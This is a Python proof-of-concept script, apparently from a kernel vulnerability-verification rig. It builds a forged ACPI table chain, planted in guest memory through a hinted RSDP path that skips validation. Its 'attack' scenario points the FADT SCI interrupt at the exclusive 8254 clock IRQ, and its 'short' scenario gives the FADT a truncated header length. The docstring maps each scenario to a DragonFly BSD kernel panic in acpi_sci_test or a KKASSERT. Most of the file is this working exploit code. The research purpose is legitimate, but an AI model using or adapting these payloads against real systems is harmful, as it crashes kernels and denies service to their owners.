DF-5583 / gen_fadt_sci.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 | #!/usr/bin/env python3 """ gen_fadt_sci.py -- craft a RSDP->RSDT->[FACP->FACS+DSDT, MADT] chain for the DF-5583/DF-5584 verification rig (sys/platform/pc64/acpica/acpi_fadt.c). Injection model (identical to the proven madt/pstate vector, DF-5430..5433 / DF-5483): - guest booted with loader kenv hint.acpi.0.rsdp=0x40000000 (sys/platform/pc64/acpica/acpi_sdt.c:71 -- hinted RSDP accepted with NO signature and NO checksum validation) - QEMU -device loader,file=<blob>,addr=0x40000000,force-raw=on plants the chain in guest RAM before firmware handoff. - loader.conf additionally sets hw.lapic_timer_enable=0 so the i8254 (not the LAPIC timer) becomes the interrupt clock: i8254_intr_initclock (sys/platform/pc64/isa/clock.c:1295) registers the "clk" handler on legacy IRQ0 with INTR_EXCL|INTR_CLOCK at SI_BOOT2_CLOCKREG, i.e. BEFORE acpi0 attaches at SI_SUB_CONFIGURE. Scenarios (same blob builder, only the FADT header/SCI fields differ): control --sci 9 --fadt-len 128 : FADT identical to DF-5483's proven clone of the real SeaBIOS/QEMU values (SCI_INT=9). IRQ9 has no handler at SCI-install time, so acpi_sci_test() registers and unregisters its dummy handler normally: the system boots to full userspace + ssh (rig is benign, stock kernel). attack --sci 0 --fadt-len 128 : SciInterrupt=0 == the legacy IRQ of the 8254 clock ("clk", INTR_EXCL). During acpi0 attach, AcpiOsInstallInterruptHandler() (OsdInterrupt.c:69) calls acpi_sci_config() -> acpi_sci_test(): sci_desc = register_int(0, ..., INTR_EXCL|...) -> NULL (kern_intr.c:276 'info->i_flags & INTR_EXCL' -> goto done -> return rec == NULL) unregister_int(sci_desc /* NULL */, 0) (kern_intr.c:425 'intr = ((intrec_t)id)->intr;' -> read at NULL+0x28 -> kernel page fault -> panic) Expected: "Fatal trap 12: page fault ... fault virtual address = 0x28" with unregister_int <- acpi_sci_test <- acpi_sci_config in the trace. short --sci 9 --fadt-len 16 : FADT header advertises Length=16 (< sizeof(ACPI_TABLE_HEADER)==36). sdt_search() maps the 36-byte header, matches the FACP signature and returns the address unvalidated; fadt_probe() calls sdt_sdth_map() which returns NULL (mapsz<36, acpi_sdt.c:147), and acpi_fadt.c:103 KKASSERT(fadt != NULL) panics the production kernel instead of skipping the table. (Sibling of the DF-5430 KKASSERT class, distinct instance in this file.) """ import argparse import struct import sys BASE = 0x40000000 RSDP_OFF = 0x0000 RSDT_OFF = 0x0100 FADT_OFF = 0x0200 FACS_OFF = 0x0280 MADT_OFF = 0x0400 DSDT_OFF = 0x1000 def build_madt(ncpu=1): """MADT cloned from the guest's real SeaBIOS/QEMU MADT (/dev/mem @0xBFFE1BAC) but with only the BSP LAPIC, so the ioapic ABI + MSI-X stay available (LAPIC on, its *timer* disabled by the hw.lapic_timer_enable=0 loader tunable). The IntSrcOverrides are byte-for-byte the real QEMU ones (0->2 edge/high, 5/9/10/11 0xD).""" ent = b'' for i in range(ncpu): ent += struct.pack('<BBBBI', 0, 8, i, i, 1) # LAPIC ent += struct.pack('<BBBBII', 1, 12, 0, 0, 0xFEC00000, 0) # IOAPIC ent += struct.pack('<BBBBIH', 2, 10, 0, 0, 2, 0x0) # 0 -> gsi2 conf ent += struct.pack('<BBBBIH', 2, 10, 0, 5, 5, 0xD) # 5 -> gsi5 ent += struct.pack('<BBBBIH', 2, 10, 0, 9, 9, 0xD) # 9 -> gsi9 ent += struct.pack('<BBBBIH', 2, 10, 0, 10, 10, 0xD) # 10 -> gsi10 ent += struct.pack('<BBBBIH', 2, 10, 0, 11, 11, 0xD) # 11 -> gsi11 ent += struct.pack('<BBBHB', 4, 6, 0xFF, 0, 1) # LAPIC NMI madt = sdth(b'APIC', 44 + len(ent), 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) struct.pack_into('<I', madt, 40, 1) madt += ent madt[9] = csum(madt) return madt def csum(b): return (-sum(b)) & 0xFF def sdth(sig, length, rev): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) h[8] = rev h[9] = 0 h[10:16] = b'DFBSD ' h[17:21] = b'PASS' struct.pack_into('<I', h, 21, 1) h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) return h def build(dsdt, sci=9, fadt_len=128, ncpu=1): madt = build_madt(ncpu) # FACS (64 bytes, everything zeroed) facs = bytearray(64) facs[0:4] = b'FACS' struct.pack_into('<I', facs, 4, 64) # FADT rev1 -- PM registers cloned from the guest's real SeaBIOS/QEMU # FADT (same values as the proven DF-5483 rig) so AcpiEnableSubsystem() # finds working PM1/GPE blocks. Only SCI_INT and the advertised header # Length vary per scenario. fadt = sdth(b'FACP', fadt_len, 1) fadt += bytearray(128 - 36) struct.pack_into('<I', fadt, 36, BASE + FACS_OFF) # FIRMWARE_CTRL struct.pack_into('<I', fadt, 40, BASE + DSDT_OFF) # DSDT fadt[44] = 1 # INT_MODEL (QEMU) fadt[45] = 0 # profile struct.pack_into('<H', fadt, 46, sci) # SCI_INT <-- payload struct.pack_into('<I', fadt, 48, 0xb2) # SMI_CMD (QEMU) fadt[52] = 0xf1 # ACPI_ENABLE fadt[53] = 0xf0 # ACPI_DISABLE struct.pack_into('<I', fadt, 56, 0x600) # PM1a_EVT_BLK struct.pack_into('<I', fadt, 64, 0x604) # PM1a_CNT_BLK struct.pack_into('<I', fadt, 76, 0x608) # PM_TMR_BLK struct.pack_into('<I', fadt, 80, 0xafe0) # GPE0_BLK fadt[88] = 4 # PM1_EVT_LEN fadt[89] = 2 # PM1_CNT_LEN fadt[91] = 4 # PM_TMR_LEN fadt[92] = 4 # GPE0_BLK_LEN struct.pack_into('<I', fadt, 96, 0x0fff) # P_LVL2_LAT struct.pack_into('<I', fadt, 100, 0x0fff) # P_LVL3_LAT fadt[9] = csum(fadt) # only correct for the len==128 case (fine: # the len==16 case panics before any checksum # validation -- hinted RSDP path validates nothing) # RSDT: FACP + APIC (ioapic ABI; loader.conf adds hw.lapic_timer_enable=0 # so the i8254 -- not the LAPIC timer -- becomes the interrupt clock and # registers its INTR_EXCL "clk" handler on legacy IRQ0 at # SI_BOOT2_CLOCKREG, before acpi0 attaches) rsdt = sdth(b'RSDT', 36 + 8, 1) + bytearray(8) struct.pack_into('<I', rsdt, 36, BASE + FADT_OFF) struct.pack_into('<I', rsdt, 40, BASE + MADT_OFF) rsdt[9] = csum(rsdt) # RSDP v1 (20 bytes) rsdp = bytearray(20) rsdp[0:8] = b'RSD PTR ' rsdp[8] = 0 rsdp[9:15] = b'DFBSD ' rsdp[15] = 0 struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) blob = bytearray(DSDT_OFF + len(dsdt)) blob[RSDP_OFF:RSDP_OFF + 20] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[FADT_OFF:FADT_OFF + len(fadt)] = fadt blob[FACS_OFF:FACS_OFF + len(facs)] = facs blob[MADT_OFF:MADT_OFF + len(madt)] = madt blob[DSDT_OFF:DSDT_OFF + len(dsdt)] = dsdt return bytes(blob) if __name__ == '__main__': ap = argparse.ArgumentParser() ap.add_argument('dsdt') ap.add_argument('out') ap.add_argument('--sci', type=int, default=9, help='FADT SciInterrupt (attack: 0 = 8254 clk IRQ)') ap.add_argument('--fadt-len', type=int, default=128, help='advertised FADT header Length (short: 16)') ap.add_argument('--ncpu', type=int, default=1, help='LAPIC entries in planted MADT (default 1)') a = ap.parse_args() with open(a.dsdt, 'rb') as f: dsdt = f.read() assert dsdt[:4] == b'DSDT', 'not a DSDT' blob = build(dsdt, sci=a.sci, fadt_len=a.fadt_len, ncpu=a.ncpu) with open(a.out, 'wb') as f: f.write(blob) sys.stderr.write('blob: %d bytes (DSDT %d, sci=%d, fadt_len=%d)\n' % (len(blob), len(dsdt), a.sci, a.fadt_len)) |